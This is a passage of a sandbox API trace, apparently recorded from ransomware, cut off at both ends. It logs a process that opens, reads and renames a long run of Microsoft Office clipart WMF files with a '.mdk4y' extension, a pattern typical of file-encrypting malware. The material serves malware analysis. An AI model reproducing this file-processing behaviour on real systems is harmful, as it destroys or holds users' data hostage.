nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d74, lpOverlapped=0x0) returned 1 [0129.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820519300000) returned 1 [0129.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820519300000) returned 1 [0129.963] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.mdk4y")) returned 1 [0129.964] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.964] AreFileApisANSI () returned 1 [0129.964] GetACP () returned 0x4e4 [0129.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD00160_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD00160_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.964] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820521200000) returned 1 [0129.982] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x57f4, lpOverlapped=0x0) returned 1 [0130.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820524900000) returned 1 [0130.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820524900000) returned 1 [0130.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.mdk4y")) returned 1 [0130.020] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.020] AreFileApisANSI () returned 1 [0130.020] GetACP () returned 0x4e4 [0130.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD00173_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD00173_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.020] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820525100000) returned 1 [0130.021] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f34, lpOverlapped=0x0) returned 1 [0130.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820528300000) returned 1 [0130.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820528300000) returned 1 [0130.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.mdk4y")) returned 1 [0130.054] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.054] AreFileApisANSI () returned 1 [0130.054] GetACP () returned 0x4e4 [0130.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD05119_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD05119_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.054] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820528500000) returned 1 [0130.055] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4354, lpOverlapped=0x0) returned 1 [0130.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820528600000) returned 1 [0130.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820528600000) returned 1 [0130.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.mdk4y")) returned 1 [0130.057] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.057] AreFileApisANSI () returned 1 [0130.057] GetACP () returned 0x4e4 [0130.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD06102_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD06102_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820528800000) returned 1 [0130.058] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3ef0, lpOverlapped=0x0) returned 1 [0130.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820531300000) returned 1 [0130.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820531300000) returned 1 [0130.083] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.mdk4y")) returned 1 [0130.084] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.084] AreFileApisANSI () returned 1 [0130.084] GetACP () returned 0x4e4 [0130.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD06200_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD06200_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.084] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820531500000) returned 1 [0130.085] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4124, lpOverlapped=0x0) returned 1 [0130.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820533000000) returned 1 [0130.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820533000000) returned 1 [0130.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.mdk4y")) returned 1 [0130.101] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.101] AreFileApisANSI () returned 1 [0130.101] GetACP () returned 0x4e4 [0130.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD07761_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD07761_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.102] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820533200000) returned 1 [0130.102] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x687c, lpOverlapped=0x0) returned 1 [0130.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820537000000) returned 1 [0130.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820537000000) returned 1 [0130.140] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.mdk4y")) returned 1 [0130.141] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.141] AreFileApisANSI () returned 1 [0130.141] GetACP () returned 0x4e4 [0130.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD07804_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD07804_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.141] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820537100000) returned 1 [0130.141] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x133c, lpOverlapped=0x0) returned 1 [0130.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820542800000) returned 1 [0130.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820542800000) returned 1 [0130.199] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.mdk4y")) returned 1 [0130.199] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.199] AreFileApisANSI () returned 1 [0130.199] GetACP () returned 0x4e4 [0130.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD07831_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD07831_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.199] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.201] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820543000000) returned 1 [0130.201] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfe2, lpOverlapped=0x0) returned 1 [0130.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820543200000) returned 1 [0130.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820543200000) returned 1 [0130.202] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.mdk4y")) returned 1 [0130.203] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.203] AreFileApisANSI () returned 1 [0130.203] GetACP () returned 0x4e4 [0130.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD08758_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD08758_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.203] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820543300000) returned 1 [0130.203] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f00, lpOverlapped=0x0) returned 1 [0130.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820544300000) returned 1 [0130.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820544300000) returned 1 [0130.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.mdk4y")) returned 1 [0130.214] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.214] AreFileApisANSI () returned 1 [0130.214] GetACP () returned 0x4e4 [0130.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD08773_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD08773_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.214] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820544500000) returned 1 [0130.215] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x60ca, lpOverlapped=0x0) returned 1 [0130.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820544900000) returned 1 [0130.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820544900000) returned 1 [0130.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.mdk4y")) returned 1 [0130.226] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.226] AreFileApisANSI () returned 1 [0130.226] GetACP () returned 0x4e4 [0130.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD08808_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD08808_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.226] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820545600000) returned 1 [0130.226] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbb7c, lpOverlapped=0x0) returned 1 [0130.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820552200000) returned 1 [0130.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820552200000) returned 1 [0130.293] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.mdk4y")) returned 1 [0130.293] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.293] AreFileApisANSI () returned 1 [0130.293] GetACP () returned 0x4e4 [0130.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD08868_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD08868_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.293] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820552400000) returned 1 [0130.294] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9d0e, lpOverlapped=0x0) returned 1 [0130.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820552800000) returned 1 [0130.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820552800000) returned 1 [0130.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.mdk4y")) returned 1 [0130.299] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.299] AreFileApisANSI () returned 1 [0130.299] GetACP () returned 0x4e4 [0130.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD09031_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD09031_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.299] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820553000000) returned 1 [0130.300] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbaaa, lpOverlapped=0x0) returned 1 [0130.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820554300000) returned 1 [0130.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820554300000) returned 1 [0130.314] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.mdk4y")) returned 1 [0130.314] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.314] AreFileApisANSI () returned 1 [0130.314] GetACP () returned 0x4e4 [0130.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD09194_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD09194_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.314] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820554500000) returned 1 [0130.315] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x38cc, lpOverlapped=0x0) returned 1 [0130.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 